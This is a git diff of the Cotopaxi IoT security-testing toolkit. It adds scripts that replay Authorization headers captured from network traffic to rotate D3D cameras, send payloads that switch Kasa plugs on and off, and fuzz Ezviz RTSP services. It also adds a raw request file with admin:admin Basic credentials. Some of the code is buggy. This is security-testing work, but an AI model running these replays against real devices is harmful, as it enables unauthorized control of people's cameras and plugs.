diff --git a/cotopaxi/__pycache__/__init__.cpython-311.pyc b/cotopaxi/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000..2b57642 Binary files /dev/null and b/cotopaxi/__pycache__/__init__.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc b/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc new file mode 100644 index 0000000..429f5e4 Binary files /dev/null and b/cotopaxi/__pycache__/amplifier_detector.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc b/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc new file mode 100644 index 0000000..20b9dd7 Binary files /dev/null and b/cotopaxi/__pycache__/amqp_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/coap_utils.cpython-311.pyc b/cotopaxi/__pycache__/coap_utils.cpython-311.pyc new file mode 100644 index 0000000..70525bc Binary files /dev/null and b/cotopaxi/__pycache__/coap_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/common_utils.cpython-311.pyc b/cotopaxi/__pycache__/common_utils.cpython-311.pyc new file mode 100644 index 0000000..b3d928f Binary files /dev/null and b/cotopaxi/__pycache__/common_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc b/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc new file mode 100644 index 0000000..f075209 Binary files /dev/null and b/cotopaxi/__pycache__/cotopaxi_tester.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/device_identification.cpython-311.pyc b/cotopaxi/__pycache__/device_identification.cpython-311.pyc new file mode 100644 index 0000000..a372719 Binary files /dev/null and b/cotopaxi/__pycache__/device_identification.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc b/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc new file mode 100644 index 0000000..89fb918 Binary files /dev/null and b/cotopaxi/__pycache__/dtls_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc b/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc new file mode 100644 index 0000000..af7eea4 Binary files /dev/null and b/cotopaxi/__pycache__/grpc_test_stub_pb2.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc b/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc new file mode 100644 index 0000000..cd015b7 Binary files /dev/null and b/cotopaxi/__pycache__/grpc_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc b/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc new file mode 100644 index 0000000..cc7acd6 Binary files /dev/null and b/cotopaxi/__pycache__/htcpcp_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/http2_utils.cpython-311.pyc b/cotopaxi/__pycache__/http2_utils.cpython-311.pyc new file mode 100644 index 0000000..f8de4f4 Binary files /dev/null and b/cotopaxi/__pycache__/http2_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/http_utils.cpython-311.pyc b/cotopaxi/__pycache__/http_utils.cpython-311.pyc new file mode 100644 index 0000000..44833a0 Binary files /dev/null and b/cotopaxi/__pycache__/http_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/knx_utils.cpython-311.pyc b/cotopaxi/__pycache__/knx_utils.cpython-311.pyc new file mode 100644 index 0000000..26cb2e0 Binary files /dev/null and b/cotopaxi/__pycache__/knx_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc b/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc new file mode 100644 index 0000000..75e3bd9 Binary files /dev/null and b/cotopaxi/__pycache__/mdns_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc b/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc new file mode 100644 index 0000000..c322c8d Binary files /dev/null and b/cotopaxi/__pycache__/mqtt_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc b/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc new file mode 100644 index 0000000..c7fcde8 Binary files /dev/null and b/cotopaxi/__pycache__/mqttsn_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc b/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc new file mode 100644 index 0000000..2036b64 Binary files /dev/null and b/cotopaxi/__pycache__/protocol_tester.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/quic_utils.cpython-311.pyc b/cotopaxi/__pycache__/quic_utils.cpython-311.pyc new file mode 100644 index 0000000..79035e5 Binary files /dev/null and b/cotopaxi/__pycache__/quic_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc b/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc new file mode 100644 index 0000000..aad347e Binary files /dev/null and b/cotopaxi/__pycache__/rtsp_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc b/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc new file mode 100644 index 0000000..1a9859d Binary files /dev/null and b/cotopaxi/__pycache__/ssdp_utils.cpython-311.pyc differ diff --git a/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc b/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc new file mode 100644 index 0000000..0a5a91b Binary files /dev/null and b/cotopaxi/__pycache__/traffic_analyzer.cpython-311.pyc differ diff --git a/cotopaxi/active_scanner.py b/cotopaxi/active_scanner.py index 2a88660..a2f5a63 100644 --- a/cotopaxi/active_scanner.py +++ b/cotopaxi/active_scanner.py @@ -855,7 +855,7 @@ def xxx_scan_heartbleed( resp1 = client.recvall(timeout=0.5) self.test_params.report_received_packet(sent_time) pkt = DTLSRecord(version=version) / TLSHeartBeat( - length=2 ** 14 - 1, data="bleed..." + length=2**14 - 1, data="bleed..." ) sent_time = self.test_params.report_sent_packet() client.sendall(str(pkt)) diff --git a/cotopaxi/cotopaxi_tester.py b/cotopaxi/cotopaxi_tester.py index 2983102..5b3f445 100644 --- a/cotopaxi/cotopaxi_tester.py +++ b/cotopaxi/cotopaxi_tester.py @@ -454,7 +454,7 @@ def print_stats(self): ) ) potential_results = [] - for (proto, proto_results) in self.test_stats.potential_endpoints.items(): + for proto, proto_results in self.test_stats.potential_endpoints.items(): if proto_results: potential_results.append( " For {}: {}".format(proto, proto_results) diff --git a/cotopaxi/device_identification.py b/cotopaxi/device_identification.py index d06484f..74d1668 100644 --- a/cotopaxi/device_identification.py +++ b/cotopaxi/device_identification.py @@ -333,7 +333,7 @@ def load_packets(pcap_filename, limit_packets=1000): start_time = time.time() packets = [] try: - if os.path.getsize(pcap_filename) > 100 * 2 ** 20: + if os.path.getsize(pcap_filename) > 100 * 2**20: print( "[!] Provided pcap file is bigger than 100MB, so loading can take a while!\n" "[!] You can interrupt loading at any time using CTRL+C and classification " diff --git a/cotopaxi/dtls_utils.py b/cotopaxi/dtls_utils.py index 3047a6f..c867dbd 100644 --- a/cotopaxi/dtls_utils.py +++ b/cotopaxi/dtls_utils.py @@ -198,7 +198,6 @@ def __init__( self.test_params = test_params if confirm_hello_verify: - pkt = DTLSRecord( version=dtls_version, sequence=0, content_type=TLSContentType.HANDSHAKE ) / DTLSHandshakes( diff --git a/cotopaxi/grpc_test_stub_pb2_grpc.py b/cotopaxi/grpc_test_stub_pb2_grpc.py index 0852ffd..5c2d928 100644 --- a/cotopaxi/grpc_test_stub_pb2_grpc.py +++ b/cotopaxi/grpc_test_stub_pb2_grpc.py @@ -27,6 +27,7 @@ import cotopaxi.grpc_test_stub_pb2 as test__stub__pb2 + # pylint: disable=no-self-use, too-few-public-methods, too-many-arguments, unused-argument class PingServiceStub(object): """Missing associated documentation comment in .proto file.""" diff --git a/cotopaxi/iot_fuzzer.py b/cotopaxi/iot_fuzzer.py new file mode 100644 index 0000000..0635fcb --- /dev/null +++ b/cotopaxi/iot_fuzzer.py @@ -0,0 +1,180 @@ +# -*- coding: utf-8 -*- +"""Tool for protocol fuzzing of network service at given IP and port ranges.""" +# +# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved. +# Copyright (C) 2020 Samsung Electronics. All Rights Reserved. +# Authors: Jakub Botwicz, Michał Radwański +# +# This file is part of Cotopaxi. +# +# Cotopaxi is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# Cotopaxi is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Cotopaxi. If not, see . +# + +import sys +from scapy.all import PcapNgReader +import requests +import socket +import base64 +import pyshark +from fuzzingbook.MutationFuzzer import * + +def extract_unique_authorization_headers(file_path, name, ip, direc): + try: + with PcapNgReader(file_path) as pcapng_reader: + packets = list(pcapng_reader) + # Set to store unique Authorization headers + unique_authorization_headers = set() + + # Filter packets with HTTP layer (TCP and containing 'GET') + http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)] + + # Extract and print unique Authorization headers + for pkt in http_packets: + http_request = pkt['Raw'].load.decode('utf-8', 'replace') + + # Check if the HTTP request contains "Authorization" header + if 'Authorization' in http_request: + authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0] + + # Print the Authorization header only if it's unique + if authorization_header not in unique_authorization_headers: + unique_authorization_headers.add(authorization_header) + headers_pcap = {'Authorization': authorization_header} + get_craft_send(ip, headers_pcap, direc, name) + + except Exception as e: + print(f"Error extracting Authorization headers from pcapng file: {e}") + +def get_craft_send(ip_t, headers_pcap, direc, name): + rot_left = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left" + rot_right = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right" + rot_up = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=up" + rot_down = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=down" + + if direc == "left": + response = requests.get("http://" + ip_t + rot_left, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Left turn") + print("================================================================") + elif direc == "right": + response = requests.get("http://" + ip_t + rot_right, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Right turn") + print("================================================================") + elif direc == "up": + response = requests.get("http://" + ip_t + rot_up, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Up turn") + print("================================================================") + elif direc == "down": + response = requests.get("http://" + ip_t + rot_down, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Down turn") + print("================================================================") +def mutate_fuzzer(link): + seed_input = link + mutation_fuzzer = MutationFuzzer(seed=[seed_input]) + [mutation_fuzzer.fuzz() for i in range(10)] + +def kodak(name, filepath): + cap = pyshark.FileCapture(filepath) + exported_objects = {} + for pkt in cap: + # Check if the packet has the desired protocol (e.g., HTTP) + if 'http' in pkt: + # Check if the packet contains any objects to export + if hasattr(pkt.http, 'file_data'): + # Extract the object name and data + obj_name = pkt.http.file_data.replace('/', '_') + obj_data = bytes(pkt.http.file_data, 'utf-8') + + # Store the object in the dictionary + exported_objects[obj_name] = obj_data + for obj_name, obj_data in exported_objects.items(): + with open(obj_name, 'wb') as f: + f.write(obj_data) + + +def kasa(ip, port, payload): + payload_on = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu36Lfog==" + payload_off = "AAAAKtDygfiL/5r31e+UtsWg1Iv5nPCR6LfEsNGlwOLYo4HyhueT9tTu3qPeow==" + try: + decoded_payload = base64.b64decode(payload) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((ip, port)) + s.sendall(decoded_payload) + response = s.recv(1024).decode() + print(response) + return response + except Exception as e: + print(f"Couldn't connect to {ip}:{port}, error: {e}") + sys.exit(1) + +def main(): + if len(sys.argv) != 4: + print("Usage: cotopaxi.iot_fuzzer [name] [ip] [direction] [port]") + sys.exit(1) + + name = sys.argv[1] + ip = sys.argv[2] + direction = sys.argv[3] + if name == "kasa": + port = int(sys.argv[4]) + + if name == "d3d": + file_path = "/home/neouchiha/Downloads/d3d2.pcapng" + extract_unique_authorization_headers(file_path, name, ip, direction) + elif name == "kasa": + payload = input("Enter payload: ") + kasa(ip, port, payload) + elif name == "kodak": + filepath = "/home/neouchiha/Project_Work/kodak.pcapng" + kodak(name, filepath) + else: + print("Invalid name entered.") + +if __name__ == "__main__": + main() diff --git a/cotopaxi/iotfuzzsentry.py b/cotopaxi/iotfuzzsentry.py new file mode 100644 index 0000000..fecc81e --- /dev/null +++ b/cotopaxi/iotfuzzsentry.py @@ -0,0 +1,282 @@ +# -*- coding: utf-8 -*- +"""Tool for protocol fuzzing of network service at given IP and port ranges.""" +# +# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved. +# Copyright (C) 2020 Samsung Electronics. All Rights Reserved. +# Authors: Jakub Botwicz, Michał Radwański +# +# This file is part of Cotopaxi. +# +# Cotopaxi is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# Cotopaxi is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Cotopaxi. If not, see . +# +import sys +import socket +import base64 +import time +import requests +from scapy.all import * +from fuzzingbook.MutationFuzzer import MutationFuzzer +import random + +class D3D: + def __init__(self, file_path, name, ip, direc): + self.file_path = file_path + self.name = name + self.ip = ip + self.direc = direc + + def extract_unique_authorization_headers(self): + try: + with PcapNgReader(self.file_path) as pcapng_reader: + packets = list(pcapng_reader) + unique_authorization_headers = set() + + http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)] + for pkt in http_packets: + http_request = pkt['Raw'].load.decode('utf-8', 'replace') + if 'Authorization' in http_request: + authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0] + if authorization_header not in unique_authorization_headers: + unique_authorization_headers.add(authorization_header) + headers_pcap = {'Authorization': authorization_header} + self.mutate_fuzzer(headers_pcap) + + except Exception as e: + print(f"Error extracting Authorization headers from pcapng file: {e}") + + def mutate_fuzzer(self, headers): + if self.direc == "right": + seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right" + elif self.direc == "left": + seed_input = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left" + else: + print("Invalid direction specified.") + return + + mutation_fuzzer = MutationFuzzer(seed=[seed_input]) + rang = 200 + links = [mutation_fuzzer.fuzz() for _ in range(rang)] + + links.pop(0) + valid_links = [] + invalid_links = [] + message_count = 0 + + start_time = time.time() + + for link in links: + message_count += 1 + try: + response = requests.get("http://" + self.ip + link, headers=headers) + print("Link:", "http://" + self.ip + link) + print("Status code:", response.status_code) + if response.status_code == 200: + valid_links.append(link) + else: + invalid_links.append(link) + print("Response content:") + print(response.text) + except requests.exceptions.RequestException as e: + print(f"Failed to connect to {link}: {e}") + invalid_links.append(link) + continue + + end_time = time.time() + total_time = end_time - start_time + + with open("200_valid.txt", "w") as f1: + for link in valid_links: + f1.write(link + '\n') + + with open("200_invalid.txt", "w") as f2: + for link in invalid_links: + f2.write(link + '\n') + + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: {message_count}") + print(f"Valid Links: {len(valid_links)}") + message_loss_percentage = (len(invalid_links) / rang) * 100 + print(f"Invalid Links: {len(invalid_links)}") + print(f"% Message Loss: {message_loss_percentage:.2f}%") + print(f"Total Time: {total_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to Unauthorized turn") # Add what it is vulnerable to + print("================================================================") + +class Kasa: + def __init__(self, name, ip, port): + self.name = name + self.ip = ip + self.port = port + + def switch(self, payload): + try: + decoded_payload = base64.b64decode(payload) + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((self.ip, self.port)) + s.sendall(decoded_payload) + response = s.recv(1024).decode() + print(response) + return response + except Exception as e: + print(f"Couldn't connect to {self.ip}:{self.port}, error: {e}") + sys.exit(1) + finally: + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: 1") + print(f"Valid Links: 1" if 'response' in locals() and response else "Valid Links: 0") + print(f"Invalid Links: 0" if 'response' in locals() and response else "Invalid Links: 1") + print(f"% Message Loss: 0.00%" if 'response' in locals() and response else "% Message Loss: 100.00%") + print(f"Total Time: {time.time() - start_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to unauthorized access control") # Add what it is vulnerable to + print("================================================================") + +class Ezviz: + def __init__(self, name, ip, port): + self.name = name + self.ip = ip + self.port = port + + def mutate_request(self, request): + request = list(request) + pos = random.randint(0, len(request) - 1) + request[pos] = chr(random.randint(32, 126)) + return ''.join(request) + + def send_rtsp_request(self, request): + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((self.ip, self.port)) + s.sendall(request.encode()) + response = s.recv(4096) + return response.decode() + + def fuzz_rtsp(self): + valid_request = "OPTIONS rtsp://{}:{} RTSP/1.0\r\nCSeq: 1\r\n\r\n".format(self.ip, self.port) + valid_requests = [] + invalid_requests = [] + message_count = 0 + + start_time = time.time() + + for i in range(100): + message_count += 1 + mutated_request = self.mutate_request(valid_request) + print(f"Sending mutated request {i + 1}:", mutated_request) + try: + response = self.send_rtsp_request(mutated_request) + print(f"Received response:\n{response}\n") + valid_requests.append(mutated_request) + except Exception as e: + print(f"Error sending request: {e}") + invalid_requests.append(mutated_request) + + end_time = time.time() + total_time = end_time - start_time + + print("================================================================") + print("Test Statistics:") + print(f"Messages Sent: {message_count}") + print(f"Valid Requests: {len(valid_requests)}") + message_loss_percentage = (len(invalid_requests) / 100) * 100 + print(f"Invalid Requests: {len(invalid_requests)}") + print(f"% Message Loss: {message_loss_percentage:.2f}%") + print(f"Total Time: {total_time:.2f} seconds") + print("\n") + print(f"Device Name: {self.name}") + print(f"Vulnerable to RTSP fuzzing attacks") # Add what it is vulnerable to + print("================================================================") + +def print_usage(): + print(""" +Usage: python iot_fuzzsentry.py [name] [arguments] + +[name]: +- d3d: To perform authorization header extraction and fuzzing for D3D devices. +- kasa: To control Kasa devices with provided IP, port, and payload. +- ezviz: To fuzz RTSP requests for Ezviz devices with provided IP and port. + +[arguments]: +- For d3d: + - [file_path]: Path to the pcapng file containing D3D traffic. + - [ip]: Device IP address. + - [direction]: Direction of turn (left/right). + +- For kasa: + - [ip]: Kasa device IP address. + - [port]: Kasa device port number. + - [payload]: Payload to send to Kasa device. + +- For ezviz: + - [ip]: Ezviz device IP address. + - [port]: Ezviz device port number. + +Example usage: +- For D3D functionality: + python iot_fuzzsentry.py d3d /path/to/pcapng/file device_ip direction + +- For Kasa functionality: + python iot_fuzzsentry.py kasa device_ip port payload + +- For Ezviz functionality: + python iot_fuzzsentry.py ezviz device_ip port +""") + +def main(): + if "-h" in sys.argv or "--help" in sys.argv: + print_usage() + sys.exit(0) + + if len(sys.argv) < 2: + print("Error: Missing arguments. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + + name = sys.argv[1] + if name == "d3d": + if len(sys.argv) != 5: + print("Error: Incorrect number of arguments for 'd3d'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + file_path = sys.argv[2] + ip = sys.argv[3] + direction = sys.argv[4] + d3d_instance = D3D(file_path=file_path, name=name, ip=ip, direc=direction) + d3d_instance.extract_unique_authorization_headers() + elif name == "kasa": + if len(sys.argv) != 5: + print("Error: Incorrect number of arguments for 'kasa'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + ip = sys.argv[2] + port = int(sys.argv[3]) + payload = sys.argv[4] + start_time = time.time() + kasa_device = Kasa(name=name, ip=ip, port=port) + kasa_device.switch(payload) + elif name == "ezviz": + if len(sys.argv) != 4: + print("Error: Incorrect number of arguments for 'ezviz'. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + ip = sys.argv[2] + port = int(sys.argv[3]) + ezviz_device = Ezviz(name=name, ip=ip, port=port) + ezviz_device.fuzz_rtsp() + else: + print("Error: Invalid name entered. Use '-h' or '--help' for usage instructions.") + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/cotopaxi/resource_listing.py b/cotopaxi/resource_listing.py index 694704b..e50df18 100644 --- a/cotopaxi/resource_listing.py +++ b/cotopaxi/resource_listing.py @@ -79,7 +79,7 @@ def check_method_and_url(method, url): url_list, methods = tuple_url_methods for method in methods: - url_not_existing = "not existing" + 3 * str(random.randrange(2 ** 15)) # nosec + url_not_existing = "not existing" + 3 * str(random.randrange(2**15)) # nosec coap_code_not_existing = coap_check_url(test_params, method, url_not_existing) print_verbose( test_params, diff --git a/cotopaxi/traffic_analyzer.py b/cotopaxi/traffic_analyzer.py index ed3e643..b52536a 100644 --- a/cotopaxi/traffic_analyzer.py +++ b/cotopaxi/traffic_analyzer.py @@ -125,7 +125,7 @@ def classify_traffic( """Classify traffic based on provided network packets.""" result_class = None packets_bins_port = split_packets(packets, ip_addr) - for (src_port, dst_ip, dst_port) in packets_bins_port: + for src_port, dst_ip, dst_port in packets_bins_port: packets = packets_bins_port[(src_port, dst_ip, dst_port)] data = df_from_scapy(packets, ip_addr, limit_packets=max_packets) if data is None: diff --git a/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw new file mode 100644 index 0000000..cc9eafc --- /dev/null +++ b/cotopaxi/vulnerabilities/http/payload_d3d_000_request.raw @@ -0,0 +1,2 @@ +GET /web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right +Authorization: Basic YWRtaW46YWRtaW4= diff --git a/cotopaxi/vulnerabilities/vulnerabilities.yaml b/cotopaxi/vulnerabilities/vulnerabilities.yaml index 20086a7..faee672 100644 --- a/cotopaxi/vulnerabilities/vulnerabilities.yaml +++ b/cotopaxi/vulnerabilities/vulnerabilities.yaml @@ -346,3 +346,10 @@ url: credit: Jakub Botwicz payload_file: dtls/payload_tradfri_000.raw +- name: D3D_000 + type: Access + cve_id: + description: Accessing the user and enabling camera rotation is achieved by sending a GET request with the specified parameters. + url: + credit: Pranav Krishna + payload_file: http/payload_d3d_000_request.raw diff --git a/tests/__pycache__/__init__.cpython-311.pyc b/tests/__pycache__/__init__.cpython-311.pyc new file mode 100644 index 0000000..a93eccb Binary files /dev/null and b/tests/__pycache__/__init__.cpython-311.pyc differ diff --git a/tests/__pycache__/common_runner.cpython-311.pyc b/tests/__pycache__/common_runner.cpython-311.pyc new file mode 100644 index 0000000..2999a3a Binary files /dev/null and b/tests/__pycache__/common_runner.cpython-311.pyc differ diff --git a/tests/__pycache__/test_active_scanner.cpython-311.pyc b/tests/__pycache__/test_active_scanner.cpython-311.pyc new file mode 100644 index 0000000..cb46c74 Binary files /dev/null and b/tests/__pycache__/test_active_scanner.cpython-311.pyc differ diff --git a/tests/__pycache__/test_amplifier_detector.cpython-311.pyc b/tests/__pycache__/test_amplifier_detector.cpython-311.pyc new file mode 100644 index 0000000..0848b96 Binary files /dev/null and b/tests/__pycache__/test_amplifier_detector.cpython-311.pyc differ diff --git a/tests/__pycache__/test_amqp_utils.cpython-311.pyc b/tests/__pycache__/test_amqp_utils.cpython-311.pyc new file mode 100644 index 0000000..14319e9 Binary files /dev/null and b/tests/__pycache__/test_amqp_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc b/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc new file mode 100644 index 0000000..c609eea Binary files /dev/null and b/tests/__pycache__/test_client_proto_fuzzer.cpython-311.pyc differ diff --git a/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc b/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc new file mode 100644 index 0000000..38f6dd1 Binary files /dev/null and b/tests/__pycache__/test_client_vuln_tester.cpython-311.pyc differ diff --git a/tests/__pycache__/test_coap_utils.cpython-311.pyc b/tests/__pycache__/test_coap_utils.cpython-311.pyc new file mode 100644 index 0000000..68cc7db Binary files /dev/null and b/tests/__pycache__/test_coap_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_common_utils.cpython-311.pyc b/tests/__pycache__/test_common_utils.cpython-311.pyc new file mode 100644 index 0000000..89769a2 Binary files /dev/null and b/tests/__pycache__/test_common_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc b/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc new file mode 100644 index 0000000..73aabf5 Binary files /dev/null and b/tests/__pycache__/test_cotopaxi_tester.cpython-311.pyc differ diff --git a/tests/__pycache__/test_device_identification.cpython-311.pyc b/tests/__pycache__/test_device_identification.cpython-311.pyc new file mode 100644 index 0000000..3b8c451 Binary files /dev/null and b/tests/__pycache__/test_device_identification.cpython-311.pyc differ diff --git a/tests/__pycache__/test_dtls_utils.cpython-311.pyc b/tests/__pycache__/test_dtls_utils.cpython-311.pyc new file mode 100644 index 0000000..389faaf Binary files /dev/null and b/tests/__pycache__/test_dtls_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_ftp_utils.cpython-311.pyc b/tests/__pycache__/test_ftp_utils.cpython-311.pyc new file mode 100644 index 0000000..d8b0c63 Binary files /dev/null and b/tests/__pycache__/test_ftp_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_grpc_utils.cpython-311.pyc b/tests/__pycache__/test_grpc_utils.cpython-311.pyc new file mode 100644 index 0000000..1be89c0 Binary files /dev/null and b/tests/__pycache__/test_grpc_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc b/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc new file mode 100644 index 0000000..e34e4e1 Binary files /dev/null and b/tests/__pycache__/test_htcpcp_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_http2_utils.cpython-311.pyc b/tests/__pycache__/test_http2_utils.cpython-311.pyc new file mode 100644 index 0000000..874f748 Binary files /dev/null and b/tests/__pycache__/test_http2_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_http_utils.cpython-311.pyc b/tests/__pycache__/test_http_utils.cpython-311.pyc new file mode 100644 index 0000000..505ed39 Binary files /dev/null and b/tests/__pycache__/test_http_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_knx_utils.cpython-311.pyc b/tests/__pycache__/test_knx_utils.cpython-311.pyc new file mode 100644 index 0000000..1de5663 Binary files /dev/null and b/tests/__pycache__/test_knx_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_mdns_utils.cpython-311.pyc b/tests/__pycache__/test_mdns_utils.cpython-311.pyc new file mode 100644 index 0000000..b36a8b2 Binary files /dev/null and b/tests/__pycache__/test_mdns_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_mqtt_utils.cpython-311.pyc b/tests/__pycache__/test_mqtt_utils.cpython-311.pyc new file mode 100644 index 0000000..5752da0 Binary files /dev/null and b/tests/__pycache__/test_mqtt_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc b/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc new file mode 100644 index 0000000..ce7df95 Binary files /dev/null and b/tests/__pycache__/test_mqttsn_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc b/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc new file mode 100644 index 0000000..6d113c1 Binary files /dev/null and b/tests/__pycache__/test_protocol_fuzzer.cpython-311.pyc differ diff --git a/tests/__pycache__/test_protocol_tester.cpython-311.pyc b/tests/__pycache__/test_protocol_tester.cpython-311.pyc new file mode 100644 index 0000000..3080fcc Binary files /dev/null and b/tests/__pycache__/test_protocol_tester.cpython-311.pyc differ diff --git a/tests/__pycache__/test_quic_utils.cpython-311.pyc b/tests/__pycache__/test_quic_utils.cpython-311.pyc new file mode 100644 index 0000000..3b569ae Binary files /dev/null and b/tests/__pycache__/test_quic_utils.cpython-311.pyc differ diff --git a/tests/__pycache__/test_resource_listing.cpython-311.pyc b/tests/__pycache__/test_resource_listing.cpython-311.pyc new file mode 100644 index 0000000..e90ff4a Binary files /dev/null and b/tests/__pycache__/test_resource_listing.cpython-311.pyc differ diff --git a/tests/__pycache__/test_rtsp_utils.cpython-311.pyc b/tests/__pycache__/test_rtsp_utils.cpython-311.pyc new file mode 100644 index 0000000..4714be5 Binary files /dev/null and b/tests/__pycache__/test_rtsp_utils.cpython-311.pyc differ diff 